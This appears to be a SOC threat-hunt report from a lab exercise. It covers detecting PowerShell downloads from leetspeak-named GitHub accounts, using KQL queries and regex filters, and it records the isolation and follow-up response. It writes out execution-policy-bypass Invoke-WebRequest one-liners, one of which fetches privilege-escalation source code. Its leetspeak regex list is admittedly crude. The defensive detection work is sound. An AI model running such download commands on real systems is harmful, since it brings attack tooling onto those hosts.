Threat Hunt Report: Suspicious Github Account Powershell Downloads

Detection of Suspicious Github account downloads on Workstation: `peter-windows-vm-soc` (`peter-windows-v` in Defender)

Scenario:

Management requests the security team inform them of detected downloads from Github accounts that contain 'leet' text in their usernames, as these accounts often seem to include hacking tools or code that could bring unwelcome risk to the company. Though not *all* Github accounts with leet-text in their names are found to be malicious, it has been decided by Management that the Security Team should notify them for this issue since more and more people are learning to use offensive security tools and become hackers (ethical or unethical) - also this could be a sign of Post Compromise, where a Threat Actor (TA) has accessed company systems and is downloading additional tools/files.

The overall goal of this threat hunt will be to alert the Security Team (and Management for true positives) when powershell downloads occur from **"leet-accounts" (LAs)** on Github, on the VMs using this detection.

Note: During POC, all alerts apply ONLY to host '**`peter-windows-vm-soc`**'.

High-Level IoC Discovery Plan

- Check `DeviceProcessEvents` for any signs of Powershell usage on "`peter-windows-v`" (truncated VM name in Defender) which include ProcessCommandLine cmdlet 'Invoke-WebRequest'.
- From the above results, filter for results where the ProcessCommandLine contains "githubusercontent.com", indicating a download from a Github account.
- Create a regex rule (or set of rules) that identifies leetspeak in a Github username.
- The detected powershell downloads from identified leet accounts (LAs) will be alerted on.

Steps Taken

1. Used KQL to search for Github downloads on '`peter-windows-v`', knowing there would be several hits. This resulted in the actual URL where downloads occur from Github - *not* github.com, actually they are from githubusercontent.com. Identified the ProcessCommandLine cmdlets and arguments present in the 'one-liners' we are interested in, which are basically as follows:

Example suspicious query:

```
powershell.exe  -ExecutionPolicy Bypass -Command
Invoke-WebRequest -Uri
https://raw.githubusercontent.com/L33t_h4ck37/repository/suspi
cious_file.exe -OutFile C:\SUSPICIOUS.exe
```

2. Modified a KQL query that will detect the above activity, regardless of leet text in the Github username. This includes conditions for specific DeviceName (`peter-windows-v`), ProcessCommandLine contains "powershell.exe", "Invoke-WebRequest", and also "githubusercontent.com". The above conditions are the basis for finding the type of one-liner we're interested in, happening on the VM in question.

KQL Query to locate basic Event Type:

```
DeviceProcessEvents
| where DeviceName == "peter-windows-v"
| where ProcessCommandLine contains "powershell.exe"
    and ProcessCommandLine contains "Invoke-WebRequest"
    and ProcessCommandLine contains "githubusercontent.com"
```

3. Finally, from above results, the Github user account name is filtered by isolating the string after "githubusercontent.com/". The user account name (string after the slash in githubusercontent.com) is run against a set of regex (regular expression) filters meant to detect leetspeak. This set of regex rules was created and refined using ChatGPT, over a series of prompts and adjustments. This regex will not identify ALL accounts with leetspeak (letters substituted by numbers and symbols, or various creative symbology...) but will detect when one of the more frequent leet substitutions is detected between two letters. For example, if the Github username is '**bob**' (githubusercontent.com/**bob**/xyz.php), but the 'o' in 'bob' is substituted to a zero (**b0b**), the regex rule would fire on that because the recognized leet character is between two normal letters. This regex can be improved upon to include additional creative substitutions, and to prevent false positives in the future - improvements are welcomed.

Full KQL query including regex filters (several comments removed for simpler viewing):

```
DeviceProcessEvents
| where DeviceName == "peter-windows-v"
| where ProcessCommandLine contains "powershell.exe"
    and ProcessCommandLine contains "Invoke-WebRequest"
    and ProcessCommandLine contains "githubusercontent.com"
| extend UserName = extract("githubusercontent.com/([^/]+)",
1, ProcessCommandLine)
| where UserName matches regex ".*4.*"        // A -> 4
    or UserName matches regex ".*@.*"        // A -> @
    or UserName matches regex ".*8.*"        // B -> 8
    or UserName matches regex ".*\\|3.*"     // B -> |3
    or UserName matches regex ".*\\(|<.*"    // C -> ( or <
    or UserName matches regex ".*\\|\\).*"   // D -> |) or [)
    or UserName matches regex ".*3.*"        // E -> 3
    or UserName matches regex ".*6.*"        // G -> 6
    or UserName matches regex ".*9.*"        // G -> 9
    or UserName matches regex ".*#.*"        // H -> #
    or UserName matches regex ".*\\|-\\|.*" // H -> |-|
    or UserName matches regex ".*1.*"        // I -> 1
    or UserName matches regex ".*!.*"        // I -> !
    or UserName matches regex ".*1.*"        // L -> 1
    or UserName matches regex ".*\\|.*"      // L -> |
    or UserName matches regex ".*0.*"        // O -> 0
    or UserName matches regex ".*5.*"        // S -> 5
    or UserName matches regex ".*\\$.*"      // S -> $
    or UserName matches regex ".*7.*"        // T -> 7
    or UserName matches regex ".*\\+.*"      // T -> +
```

Example hits for this query:

Based on the identified KQL results, there were numerous (debatably) suspicious Github accounts being downloaded from, to the 'peter-windows-v' VM. The above events took place on March 26, 2025, from

1:49:44 PM to 1:52:14 PM, resulting in 8+ Github downloads - further analysis is required, though the 'outfile' filenames are pictured above.

Chronological Events

This particular threat hunt scenario includes a very short chronology, because the suspicious activity we are hunting is a one-step process. The main detection happening involves searching for a specific *type* of text in the downloads (leet speak), so if ANY downloads that fit the description are detected, whatever happens after the download should be scrutinized at a later time, but is not relevant to this threat hunt itself. The main goal is just to detect if files are being downloaded from the accounts with leet text in their titles.

***Of note, this particular Github account was chosen as an example only because the name includes "l33t", leet text, and looks like a great source for pentesting cheatsheets/code/tools.

1. File Downloaded using Powershell.exe from leet account:

- **Timestamp:** `2025-03-31T20:11:57.5998817Z`
- **Event:** The user "labuser" executed Powershell.exe using the ProcessCommandLine to download from a leet-account: `S1ckB0y1337`, which resulted in suspicious file: `privilege_escalation_token_player.cpp` appearing in the Downloads directory for labuser.
- **Action:** Suspicious Github account downloaded a file.
- **Command**: `powershell.exe" -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri https://raw.githubusercontent.com/S1ckB0y1337/TokenPlayer/refs/heads/master/TokenPlayer/TokenPlayer.cpp -OutFile C:\privilege_escalation_token_player.cpp`
- **File Path**: `C:\Users\labuser\Downloads\privilege_escalation_token_player.cpp`
- **Result:** Due to the download, there is now a suspicious file whose name indicates it could be used for privilege escalation, on a machine that is possibly being used as a foothold for an attacker.

Summary

The user "labuser" on the "peter-windows-vm" device has executed a powershell one-liner which has downloaded suspicious content from a Github repository containing penetration testing/hacking tools, and has arguably a name which indicates that fact. The powershell one-liner bypassed execution policy, invoked a web request and provided a URI, then specified a resource on the repository of a user whose username is consistent with naming style seen in hacker culture. Based on the known threat, this suspicious download was observed and requires further investigation to identify IOCs.

Response Taken

Suspicious download of file `privilege_escalation_token_player.ccp` was observed on VM `peter-windows-v`, from `githubusercontent.com/S1ckB0y1337` account. The VM was isolated, an investigation package created, password to VM changed, AV scan completed, and the user was contacted for further information. A detection was created for this VM using the KQL rule so that detections of suspicious Github downloads can be triaged.